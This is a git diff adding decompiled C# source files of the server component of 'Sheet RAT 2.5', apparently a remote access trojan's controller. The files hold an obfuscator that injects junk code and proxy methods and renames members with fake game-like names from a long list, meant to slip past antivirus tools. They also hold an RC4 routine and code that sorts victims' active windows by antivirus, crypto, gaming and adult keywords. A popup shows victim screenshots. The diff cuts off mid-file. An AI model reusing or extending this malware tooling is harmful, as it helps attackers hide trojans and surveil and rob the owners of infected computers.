methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0)); + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, (IField) field)); + } + if (field.FieldType.TypeName == "String") + { + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, JunkCodeInjector.getRandomCharacters(16 /*0x10*/))); + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, (IField) field)); + } + if (field.FieldType.TypeName == "Int32") + { + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, JunkCodeInjector.random.Next(int.MinValue, int.MaxValue))); + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, (IField) field)); + } + if (field.FieldType.TypeName == "Int64") + { + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I8, (long) JunkCodeInjector.random.Next(int.MinValue, int.MaxValue))); + methodDef1.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, (IField) field)); + } + } + methodDef1.Body.Instructions.Add(OpCodes.Ret.ToInstruction()); + module.Types.Add(newClass); + } + for (int index = 0; index < JunkCodeInjector.AllVoid.Count; ++index) + { + MethodDef methodDef3 = JunkCodeInjector.AllVoid[index]; + MethodDef methodDef4 = JunkCodeInjector.AllVoid[JunkCodeInjector.random.Next(JunkCodeInjector.AllVoid.Count)]; + methodDef3.Body.Instructions.Add(Instruction.Create(OpCodes.Call, (IMethod) methodDef4)); + methodDef3.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + } + JunkCodeInjector.AllVoid.Clear(); + } +} +} diff --git a/Server/Server/Helper/Methods.cs b/Server/Server/Helper/Methods.cs new file mode 100644 index 0000000..5c8b38b --- /dev/null +++ b/Server/Server/Helper/Methods.cs @@ -0,0 +1,157 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Methods +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; +using System.IO.Compression; +using System.Security.Cryptography; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +internal class Methods +{ + public static byte[] Tobytes(string strings) + { + byte[] numArray = new byte[strings.Length]; + for (int index = 0; index < strings.Length; ++index) + numArray[index] = (byte) strings[index]; + return numArray; + } + + public static string ToString(byte[] bytes) + { + string empty = string.Empty; + foreach (byte num in bytes) + empty += ((char) num).ToString(); + return empty; + } + + public static string Shuffle(string str) + { + char[] charArray = str.ToCharArray(); + Random random = new Random(); + int length = charArray.Length; + while (length > 1) + { + --length; + int index = random.Next(length + 1); + char ch = charArray[index]; + charArray[index] = charArray[length]; + charArray[length] = ch; + } + return new string(charArray); + } + + public static string formateline(string text, int Size) + { + string str = ""; + foreach (System.Text.RegularExpressions.Match match in Regex.Matches(text, $"\\S.{{0,{Size.ToString()}}}(?=\\s|\\z)")) + str = $"{str}{match.Value}\n"; + return str; + } + + public static void SetTextClibpBoard(string text) + { + Thread thread = new Thread((ThreadStart) (() => + { + try + { + Clipboard.SetText(text); + } + catch + { + } + })); + thread.SetApartmentState(ApartmentState.STA); + thread.Start(); + thread.Join(); + } + + public static DataGridViewCellStyle CellStyleWindows(string value) + { + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + value = value.ToLower(); + gridViewCellStyle.ForeColor = value.Contains("youtube") || value.Contains("vk") || value.Contains("twich") || value.Contains("facebook") || value.Contains("telegram") || value.Contains("instagram") || value.Contains("вконтакте") || value.Contains("мессенджер") || value.Contains("messanger") || value.Contains("телеграм") || value.Contains("дискорд") || value.Contains("инстаграм") || value.Contains("tiktok") || value.Contains("discord") || value.Contains("roblox") || value.Contains("minecraft") || value.Contains("dota") || value.Contains("world of") || value.Contains("garry's mod") || value.Contains("mafia") || value.Contains("rust") || value.Contains("arizona") || value.Contains("warface") || value.Contains("valorant") || value.Contains("gta") || value.Contains("radmir") || value.Contains("battle") || value.Contains("block") || value.Contains("warcraft") || value.Contains("fallout") || value.Contains("rage multiplayer") || value.Contains("epic game") || value.Contains("counter strike") || value.Contains("counter-strike") || value.Contains("unturned") || value.Contains("fifa") || value.Contains("geometry dash") || value.Contains("assassin") || value.Contains("stalcraft") || value.Contains("shadow legends") || value.Contains("league of legends") ? Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, 0) : (value.Contains("antivirus") || value.Contains("virus") || value.Contains("anti-virus") || value.Contains("malware") || value.Contains("defender") || value.Contains("miner") || value.Contains("kaspersky") || value.Contains("avast") || value.Contains("dr.web") || value.Contains("trojan") || value.Contains("360 total security") || value.Contains("антивирус") || value.Contains("безопасность windows") ? Color.FromArgb((int) byte.MaxValue, 0, 0) : (value.Contains("porn") || value.Contains("sex") || value.Contains("xvideo") || value.Contains("хейнтай") || value.Contains("секс") || value.Contains("порно") || value.Contains("миньет") || value.Contains("hentai") ? Color.FromArgb(0, (int) byte.MaxValue, (int) byte.MaxValue) : (value.Contains("botnet") || value.Contains("darkcomet") || value.Contains("dcrat") || value.Contains("ратник") || value.Contains("юзеры") || value.Contains("ботнет") || value.Contains("dcrat") || value.Contains("njrat") ? Color.FromArgb((int) byte.MaxValue, 123, 0) : (value.Contains("python") || value.Contains("visual studio") || value.Contains("c#") || value.Contains("csharp") || value.Contains("c++") || value.Contains("cpp") || value.Contains("compiler") || value.Contains("debug") || value.Contains("php") || value.Contains("vb") || value.Contains("github") || value.Contains("assembler") || value.Contains("hello world") || value.Contains("программирование") || value.Contains("dotnet") ? Color.FromArgb((int) byte.MaxValue, 0, (int) byte.MaxValue) : (value.Contains("binance") || value.Contains("usdt") || value.Contains("ethereum") || value.Contains("bitcoin") || value.Contains("monero") || value.Contains("crypto") || value.Contains("qiwi") || value.Contains("kaspi") || value.Contains("paypal") || value.Contains("funpay") || value.Contains("metamask") ? Color.FromArgb(34, 139, 34) : Color.FromArgb(50, 205, 50)))))); + return gridViewCellStyle; + } + + public static double DiffSeconds(DateTime startTime, DateTime endTime) + { + return Math.Abs(new TimeSpan(endTime.Ticks - startTime.Ticks).TotalSeconds); + } + + public static double DiffDay(DateTime startTime, DateTime endTime) + { + return Math.Abs(new TimeSpan((long) (endTime.Day - startTime.Day)).TotalSeconds); + } + + public static string BytesToString(long byteCount) + { + string[] strArray = new string[7] + { + "Bytes", + "KiloBytes", + "MegaBytes", + "GigaBytes", + "TeraBytes", + "PetoBytes", + "ExaBytes" + }; + if (byteCount == 0L) + return "0" + strArray[0]; + long num1; + int int32 = Convert.ToInt32(Math.Floor(Math.Log((double) (num1 = Math.Abs(byteCount)), 1024.0))); + double num2 = Math.Round((double) num1 / Math.Pow(1024.0, (double) int32), 1); + return $"{((double) Math.Sign(byteCount) * num2).ToString()} {strArray[int32]}"; + } + + public static string GetChecksum(string file) + { + using (FileStream inputStream = File.OpenRead(file)) + return BitConverter.ToString(new SHA256Managed().ComputeHash((Stream) inputStream)).Replace("-", string.Empty); + } + + public static byte[] Decompress(byte[] input) + { + using (MemoryStream memoryStream = new MemoryStream(input)) + { + byte[] buffer1 = new byte[4]; + memoryStream.Read(buffer1, 0, 4); + int int32 = BitConverter.ToInt32(buffer1, 0); + using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress)) + { + byte[] buffer2 = new byte[int32]; + gzipStream.Read(buffer2, 0, int32); + return buffer2; + } + } + } + + public static byte[] Compress(byte[] input) + { + using (MemoryStream memoryStream = new MemoryStream()) + { + byte[] bytes = BitConverter.GetBytes(input.Length); + memoryStream.Write(bytes, 0, 4); + using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress)) + { + gzipStream.Write(input, 0, input.Length); + gzipStream.Flush(); + } + return memoryStream.ToArray(); + } + } +} +} diff --git a/Server/Server/Helper/Notif/Notf.cs b/Server/Server/Helper/Notif/Notf.cs new file mode 100644 index 0000000..2a46a21 --- /dev/null +++ b/Server/Server/Helper/Notif/Notf.cs @@ -0,0 +1,214 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Notif.Notf +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Threading; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.Notif { + +public class Notf : Form +{ + public Size size; + private bool bool_0; + public List Items; + private IContainer components; + private PictureBox p; + + public Notf() + { + this.Items = new List(); + this.InitializeComponent(); + } + + private void Notf_Load(object sender, EventArgs e) + { + this.size.Width = this.p.Width; + this.size.Height = this.p.Height - 20; + this.p.BackColor = Color.Pink; + this.TransparencyKey = Color.Pink; + this.back(); + new Thread((ThreadStart) (() => this.wrk())).Start(); + } + + public void back() + { + this.bool_0 = true; + Rectangle workingArea = Screen.PrimaryScreen.WorkingArea; + this.Left = workingArea.Width - this.Width - 5; + this.Top = workingArea.Height - this.Height - 5; + } + + public void go() + { + this.bool_0 = false; + Rectangle workingArea = Screen.PrimaryScreen.WorkingArea; + this.Left = workingArea.Width; + this.Top = workingArea.Height; + } + + public void AddItem(Bitmap screen, Bitmap flag, string Text, string Window) + { + lock (this.Items) + { + if (this.Items.Count > 50) + this.Items.RemoveAt(0); + if (Window.Length > 36) + Window = Window.Substring(0, 36) + "..."; + this.Items.Add(new Notf.ItemNotif() + { + Screen = (Bitmap) screen.Clone(), + Flag = flag, + Text = Text + Window + }); + } + } + + private void p_Click(object sender, EventArgs e) + { + lock (this.Items) + this.Items.Clear(); + } + + public void wrk() + { + while (true) + { + Thread.Sleep(50); + if (this.Items.Count == 0) + { + this.Invoke((MethodInvoker) (() => this.go())); + } + else + { + try + { + Bitmap bitmap = new Bitmap(this.p.Width, this.p.Height); + Graphics graphics = Graphics.FromImage((Image) bitmap); + graphics.Clear(this.p.BackColor); + lock (this.Items) + { + foreach (Notf.ItemNotif itemNotif1 in this.Items) + { + Notf.ItemNotif itemNotif2 = itemNotif1; + if (itemNotif1.notfHeight <= 2) + { + itemNotif1.notfHeight = 2; + ++itemNotif2.int_1; + } + else + { + int count = this.Items.Count; + if (count > 30) + itemNotif1.notfHeight = 2; + else if (count > 20) + itemNotif2.notfHeight += -20; + else if (count > 10) + itemNotif2.notfHeight += -10; + else + itemNotif2.notfHeight += -2; + if (itemNotif1.notfHeight < 2) + itemNotif1.notfHeight = 2; + } + Rectangle rectangle = new Rectangle(0, itemNotif1.notfHeight - 2, this.Width, this.size.Height); + graphics.FillRectangle((Brush) new SolidBrush(Customs.customs.ThemeToColor()), rectangle); + rectangle = new Rectangle(0, itemNotif1.notfHeight - 2, this.Width, this.size.Height); + ControlPaint.DrawLockedFrame(graphics, rectangle, false); + graphics.DrawImage((Image) itemNotif1.Screen.Clone(), new Point(3, itemNotif1.notfHeight + 1)); + graphics.DrawImage((Image) itemNotif1.Flag.Clone(), new Point(3, itemNotif1.notfHeight + 51)); + graphics.DrawString(itemNotif1.Text, this.Font, (Brush) new SolidBrush(Customs.customs.StyleToColor()), 55f, Convert.ToSingle(itemNotif1.notfHeight)); + if (itemNotif1.notfHeight > this.Height - 50) + break; + } + foreach (Notf.ItemNotif itemNotif in this.Items) + { + if (itemNotif.int_1 == 40) + { + this.Items.Remove(itemNotif); + break; + } + } + if (this.Items.Count == 0 & this.bool_0) + this.Invoke((MethodInvoker) (() => this.go())); + if (this.Items.Count > 0 & !this.bool_0) + this.Invoke((MethodInvoker) (() => this.back())); + } + graphics.Flush(FlushIntention.Sync); + graphics.Dispose(); + this.p.Image = (Image) bitmap; + } + catch + { + } + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.p = new PictureBox(); + ((ISupportInitialize) this.p).BeginInit(); + this.SuspendLayout(); + this.p.Cursor = Cursors.Hand; + this.p.Dock = DockStyle.Fill; + this.p.Location = new Point(0, 0); + this.p.Margin = new Padding(4); + this.p.Name = "p"; + this.p.Size = new Size(320, 102); + this.p.SizeMode = PictureBoxSizeMode.StretchImage; + this.p.TabIndex = 1; + this.p.TabStop = false; + this.p.Click += new EventHandler(this.p_Click); + this.AutoScaleDimensions = new SizeF(6f, 14f); + this.AutoScaleMode = AutoScaleMode.Font; + this.BackColor = Color.FromArgb(17, 17, 17); + this.ClientSize = new Size(320, 102); + this.Controls.Add((Control) this.p); + this.Font = new Font("Arial", 8f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + this.FormBorderStyle = FormBorderStyle.None; + this.Margin = new Padding(4); + this.Name = nameof (Notf); + this.Opacity = 0.8; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "notf"; + this.TopMost = true; + this.TransparencyKey = Color.Transparent; + this.Load += new EventHandler(this.Notf_Load); + ((ISupportInitialize) this.p).EndInit(); + this.ResumeLayout(false); + } + + public sealed class ItemNotif + { + public Bitmap Screen; + public Bitmap Flag; + public int notfHeight; + public int int_1; + public string Text; + + public ItemNotif() + { + this.notfHeight = Program.form.notf.Height; + this.int_1 = 0; + } + } +} +} diff --git a/Server/Server/Helper/Notif/Notf.resx b/Server/Server/Helper/Notif/Notf.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Helper/Notif/Notf.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Helper/Obfus/Protection/Renamer/ValidNames.cs b/Server/Server/Helper/Obfus/Protection/Renamer/ValidNames.cs new file mode 100644 index 0000000..4e6dd33 --- /dev/null +++ b/Server/Server/Helper/Obfus/Protection/Renamer/ValidNames.cs @@ -0,0 +1,434 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Obfus.Protection.Renamer.ValidNames +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Obfus.Protection.Renamer { + +internal class ValidNames +{ + public static readonly string[] NormalNameStringsForClass = new string[102] + { + "GameManager", + "AudioManager", + "ClusterInputManager", + "DynamicsManager", + "EditorBuildSettings", + "EditorSettings", + "GraphicsSettings", + "ScriptableObject", + "InputManager", + "NavMeshAreas", + "NetworkManager", + "Physics2DSettings", + "PresetManager", + "ProjectSettings", + "ProjectVersion", + "QualitySettings", + "TagManager", + "TimeManager", + "UnityConnectSettings", + "VFXManager", + "SteamManager", + "ControlManager", + "FpsManager", + "Web", + "Forms", + "Maps", + "Permission", + "Permissions", + "WindowsOpen", + "BroGame", + "Unity", + "Contols", + "Validator", + "GameChat", + "MicrophoneGame", + "BotsControl", + "AIBots", + "NAudioDrive", + "YouLinks", + "MapsReflect", + "Canvas", + "XmlForm", + "Json", + "Types", + "Messages", + "LibsDown", + "Labs", + "World", + "Alers", + "custom", + "Custom", + "Customs", + "customs", + "Worlds", + "DemoGame", + "Jump", + "ColorScript", + "ScoreManager", + "demo", + "Arrow", + "ArrowHand", + "ArrowHeadRotation", + "ArrowHead", + "Ballon", + "BallonColliders", + "BallonHapticBump", + "BallonSpawner", + "BodyCollider", + "BuggyBuddy", + "BuggyController", + "ButtonEffects", + "Sampleses", + "SteamVR", + "SteamVR_Behaviour", + "SteamVR_Camera", + "SteamVR_CameraFlip", + "SteamVR_CameraMask", + "Prefabs", + "Transforms", + "Transform", + "FormMenu", + "Menu", + "Form1", + "Form2", + "Form3", + "Form4", + "Form5", + "Form6", + "Form7", + "Form8", + "Form9", + "Form10", + "form1", + "form2", + "form3", + "form4", + "form5", + "form6", + "form7", + "form8", + "form9", + "form10" + }; + public static readonly string[] NormalNameStringsForNameSpace = new string[11] + { + "Game", + "Game.Manager", + "Game.Unity", + "Game.Controls", + "Game.Worlds", + "Game.Demo", + "World", + "Controls", + "Unity", + "PlayGame", + "Libs" + }; + public static readonly string[] NormalNameStringsForMethods = new string[179] + { + "GetTypesGame", + "GetTypesFromParentGame", + "GetTypesFromParentGame", + "GetTypesFromInterfaceGame", + "GetTypesGameFromInterface", + "Lose", + "Win", + "GetTime", + "GetWebRequestGameUri", + "Reload", + "ParseString", + "ParseDateTime", + "ParseDouble", + "ParseUInt16", + "ParseUInt32", + "ParseUInt64", + "ParseBool", + "ParseUri", + "FixedUpdate", + "Save", + "Load", + "Unload", + "LoadGame", + "SaveGame", + "LoadGame", + "Start", + "Stop", + "Restart", + "Update", + "gameStart", + "GameStart", + "Awake", + "IsDependencyLoadedGame", + "ExecuteDependencyCodeGame", + "GameText", + "GameTextLength", + "IsGameisible", + "GetShellGame", + "AwakeGame", + "FixedUpdate", + "add_GameInitialized", + "remove_GameInitialized", + "Awake_Game", + "InitializeGameWindow", + "TranslateLangue", + "ReloadGame", + "UpdateFps", + "GameInitialize", + "FixedUpdateGame", + "StartFps", + "Start", + "checkFpsGameRestart", + "QueueOnMainThreadFpsChecker", + "GameOnMainThread", + "RunFps", + "RunGameAction", + "GameAwake", + "FixedGameUpdate", + "IsUriGameValid", + "StartGame", + "JsonConverter", + "PortalStart", + "Gun", + "Bomb", + "PositionPlayer", + "LogException", + "LogEx", + "LogPlayer", + "LogPlayerPositions", + "LogErrorGame", + "LogWarningsGame", + "CheckDuplicatePlayersgs", + "GetComponent", + "SetComponent", + "SetBool", + "SetInt", + "SetLong", + "GetBool", + "GetInt", + "GetLong", + "OnCollisionEnter", + "OnCollisionExit", + "OnCollisionStart", + "HightScore", + "TimerForDemo", + "Down", + "Up", + "Move", + "Top", + "LateUpdate", + "OnMouseUp", + "OnMouseDown", + "OnMouseLeft", + "OnMouseRight", + "EnumySearch", + "Searcher", + "Button1", + "Button2", + "Button3", + "Button4", + "Button5", + "Button6", + "Button7", + "button1", + "button2", + "button3", + "button4", + "button5", + "button6", + "button7", + "GetTypes", + "GetTypesFromParentClass", + "GetTypesFromParentClass", + "GetTypesFromInterface", + "GetTypesFromInterface", + "get_Timeout", + "set_Timeout", + "GetWebRequest", + "get_SteamID64", + "set_SteamID64", + "get_SteamID", + "set_SteamID", + "get_OnlineState", + "AssetsGet", + "AssetsSet", + "timer", + "timer1", + "timer2", + "timer3", + "timer4", + "timer5", + "timer6", + "timer7", + "timer8", + "Damage", + "OnTriggerEnter2D", + "OverlapCircleAll", + "Damage", + "Attack", + "MoveTowards", + "moveTowards", + "Distance", + "distance", + "SearchForTarget", + "searchForTarget", + "HasFruits", + "hasFruits", + "FindGameObjectWithTag", + "findGameObjectWithTag", + "Getcurrent", + "GetCurrent", + "SetCurrent", + "setCurrent", + "GetcurrentPlayer", + "GetCurrentPlayer", + "SetCurrentPlayer", + "setCurrentPlayer", + "GetPlayerPostion", + "SetPlayerPostion", + "SetPlayerPostionMap", + "GetPlayerPostionMap", + "DamageEnemy", + "Death", + "Destroy", + "spriteRenderer", + "enemyAI", + "KAPIInit", + "SubmitKongStat", + "submitkongState", + "SetLanguageTo", + "GetLanguageTo", + "GetString", + "GetParentSortingLayer", + "WaitForSeconds", + "setOrderingLayer", + "StartCoroutine", + "SetOffset", + "OnDrawGizmosSelected", + "DrawLine" + }; + public static readonly string[] NormalNameStringsForFiledId = new string[117] + { + "Fps", + "currentLanguage", + "myRenderer", + "oneTime", + "spanish", + "english", + "russian", + "Language", + "sprites", + "localizableString", + "instance", + "time", + "state", + "Key", + "Score", + "OnEnable", + "OnDisable", + "Player", + "SteamID", + "SteamID64", + "SteamID64", + "OnlineState", + "D3Contol", + "Window", + "OpenGlHelp", + "HelpGl", + "Mp3Player", + "PathMuisc", + "Home", + "Spawn", + "game", + "window", + "player", + "index", + "stringsname", + "filedid", + "keys", + "Keys", + "fps", + "qqmanager", + "Text", + "Count", + "count", + "leght", + "Widht", + "Height", + "x", + "y", + "X", + "Y", + "widht", + "height", + "ImagePath", + "PathImage", + "images", + "Images", + "Code", + "IDplayer", + "boolkeys", + "media", + "Media", + "cars", + "car", + "Car", + "GameObject", + "Speed", + "Speeds", + "Dict", + "w", + "h", + "W", + "H", + "Camera", + "Link", + "Path", + "Money", + "Cat", + "Dog", + "Chicken", + "meat", + "CookedMeat", + "Meat", + "CanvasFps", + "CanvasC", + "userData", + "assetBundleName", + "assetBundleVariant", + "DefaultImporter", + "folderAsset", + "guid", + "fileFormatVersion", + "health", + "maxHealth", + "bleed", + "timeToWin", + "audioSource", + "artifact", + "sceneManager", + "isEater", + "moveSpeed", + "attackDamage", + "attackTime", + "eatTime", + "bushesMask", + "isMoving", + "left", + "target", + "attackTimer", + "eatTimer", + "killingBush", + "attacking", + "max", + "Max", + "Min", + "min", + "current", + "Current" + }; +} +} diff --git a/Server/Server/Helper/PC4.cs b/Server/Server/Helper/PC4.cs new file mode 100644 index 0000000..9d1bece --- /dev/null +++ b/Server/Server/Helper/PC4.cs @@ -0,0 +1,66 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.PC4 +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Text; + +//#nullable disable +namespace Server.Helper { + +internal class PC4 +{ + private byte[] key; + + public PC4(string key) => this.key = Encoding.ASCII.GetBytes(key); + + public string DecodEncodB(byte[] data) => Convert.ToBase64String(this.DecodEncod(data)); + + public string DecodEncod(string data) + { + return Convert.ToBase64String(this.DecodEncod(Encoding.ASCII.GetBytes(data))); + } + + public byte[] DecodEncod(byte[] data) + { + int[] numArray1 = new int[256 /*0x0100*/]; + for (int index = 0; index < 256 /*0x0100*/; ++index) + numArray1[index] = index; + int[] dst = new int[256 /*0x0100*/]; + if (this.key.Length == 256 /*0x0100*/) + { + Buffer.BlockCopy((Array) this.key, 0, (Array) dst, 0, this.key.Length); + } + else + { + for (int index = 0; index < 256 /*0x0100*/; ++index) + dst[index] = (int) this.key[index % this.key.Length]; + } + int index1 = 0; + for (int index2 = 0; index2 < 256 /*0x0100*/; ++index2) + { + index1 = (index1 + numArray1[index2] + dst[index2]) % 256 /*0x0100*/; + int num = numArray1[index2]; + numArray1[index2] = numArray1[index1]; + numArray1[index1] = num; + } + int index3; + int index4 = index3 = 0; + byte[] numArray2 = new byte[data.Length]; + for (int index5 = 0; index5 < data.Length; ++index5) + { + index4 = (index4 + 1) % 256 /*0x0100*/; + index3 = (index3 + numArray1[index4]) % 256 /*0x0100*/; + int num1 = numArray1[index4]; + numArray1[index4] = numArray1[index3]; + numArray1[index3] = num1; + int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256 /*0x0100*/]; + numArray2[index5] = Convert.ToByte((int) data[index5] ^ num2); + } + return numArray2; + } +} +} diff --git a/Server/Server/Helper/ProxyAdder.cs b/Server/Server/Helper/ProxyAdder.cs new file mode 100644 index 0000000..04df020 --- /dev/null +++ b/Server/Server/Helper/ProxyAdder.cs @@ -0,0 +1,144 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.ProxyAdder +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +//#nullable disable +namespace Server.Helper { + +public class ProxyAdder +{ + private static Random random = new Random(); + + public static string getRandomCharacters(int count) + { + StringBuilder stringBuilder = new StringBuilder(); + for (int index1 = 1; index1 <= count; ++index1) + { + int index2 = ProxyAdder.random.Next(0, "asdfghjklqwertyuiopmnbvcxz".Length); + stringBuilder.Append("asdfghjklqwertyuiopmnbvcxz"[index2]); + } + return stringBuilder.ToString(); + } + + public static bool Analyse(ModuleDef module, MethodDef method) + { + if (method.Name == "GetFiltes" || method.FullName.ToLower().Contains("get_") || method.FullName.ToLower().Contains("get_")) + return false; + if (method.Attributes.ToString().Replace("PrivateScope", "").Contains("Private")) + method.Attributes = MethodAttributes.Public | MethodAttributes.Static; + for (int index = 0; index < method.Body.Instructions.Count(); ++index) + { + if (method.Body.Instructions[index].OpCode == OpCodes.Call && method.Body.Instructions[index].Operand is MethodDef) + { + MethodAttributes attributes = ((MethodDef) method.Body.Instructions[index].Operand).Attributes; + if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static")) + return false; + } + else if (method.Body.Instructions[index].OpCode == OpCodes.Ldsfld && method.Body.Instructions[index].Operand is FieldDef) + { + FieldAttributes attributes = ((FieldDef) method.Body.Instructions[index].Operand).Attributes; + if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static")) + return false; + } + } + return true; + } + + public static void Execute(ModuleDef module) + { + for (int index1 = 0; index1 < new Random().Next(4, 8); ++index1) + { + foreach (TypeDef type in (IEnumerable) module.Types) + { + if (!type.IsGlobalModuleType) + { + foreach (MethodDef methodDef in type.Methods.ToArray()) + { + if (methodDef.HasBody) + { + for (int index2 = 0; index2 < methodDef.Body.Instructions.Count; ++index2) + { + if (methodDef.Body.Instructions[index2].OpCode == OpCodes.Call) + { + try + { + if (methodDef.Body.Instructions[index2].Operand is MethodDef) + { + MethodDef operand = methodDef.Body.Instructions[index2].Operand as MethodDef; + if (ProxyAdder.Analyse(module, operand)) + { + if (operand.Parameters.Count != 0) + { + if (operand.Parameters.Count <= 4) + { + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) ProxyAdder.getRandomCharacters(16 /*0x10*/), operand.MethodSig, operand.ImplAttributes, operand.Attributes); + methodDefUser.Body = operand.Body; + foreach (ParamDef paramDef in (IEnumerable) operand.ParamDefs) + methodDefUser.ParamDefs.Add((ParamDef) new ParamDefUser((UTF8String) ProxyAdder.getRandomCharacters(10), paramDef.Sequence)); + CilBody cilBody = new CilBody(); + cilBody.Instructions.Add(OpCodes.Nop.ToInstruction()); + for (int index3 = 0; index3 < operand.Parameters.Count; ++index3) + { + switch (index3) + { + case 0: + cilBody.Instructions.Add(OpCodes.Ldarg_0.ToInstruction()); + break; + case 1: + cilBody.Instructions.Add(OpCodes.Ldarg_1.ToInstruction()); + break; + case 2: + cilBody.Instructions.Add(OpCodes.Ldarg_2.ToInstruction()); + break; + case 3: + cilBody.Instructions.Add(OpCodes.Ldarg_3.ToInstruction()); + break; + } + } + cilBody.Instructions.Add(OpCodes.Call.ToInstruction((IMethod) methodDefUser)); + cilBody.Instructions.Add(OpCodes.Nop.ToInstruction()); + cilBody.Instructions.Add(OpCodes.Ret.ToInstruction()); + operand.Body = cilBody; + bool flag = false; + for (int index4 = 0; index4 < ProxyAdder.random.Next(3); ++index4) + { + for (int index5 = 0; index5 < ProxyAdder.random.Next(0, 2); ++index5) + type.Methods.Add((MethodDef) JunkCodeInjector.GetIntFunction(module, JunkCodeInjector.GeneratorBody(module, "Int32"), JumpCtrlFlow.RandomMethodAttributes())); + for (int index6 = 0; index6 < ProxyAdder.random.Next(0, 2); ++index6) + type.Methods.Add((MethodDef) JunkCodeInjector.GetStringFunction(module, JunkCodeInjector.GeneratorBody(module, "String"), JumpCtrlFlow.RandomMethodAttributes())); + if (!flag && ProxyAdder.random.Next(3) == 0) + { + type.Methods.Add((MethodDef) methodDefUser); + flag = true; + } + } + if (!flag) + type.Methods.Add((MethodDef) methodDefUser); + } + } + } + } + } + catch + { + } + } + } + } + } + } + } + } + } +} +} diff --git a/Server/Server/Helper/RegValueHelper.cs b/Server/Server/Helper/RegValueHelper.cs new file mode 100644 index 0000000..b3af9a0 --- /dev/null +++ b/Server/Server/Helper/RegValueHelper.cs @@ -0,0 +1,47 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegValueHelper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Microsoft.Win32; +using System; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +public class RegValueHelper +{ + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) => string.IsNullOrEmpty(valueName); + + public static string GetName(string valueName) + { + return !RegValueHelper.IsDefaultValue(valueName) ? valueName : RegValueHelper.DEFAULT_REG_VALUE; + } + + public static string RegistryValueToString(RegistrySeeker.RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + case RegistryValueKind.Binary: + return value.Data.Length == 0 ? "(zero-length binary value)" : BitConverter.ToString(value.Data).Replace("-", " ").ToLower(); + 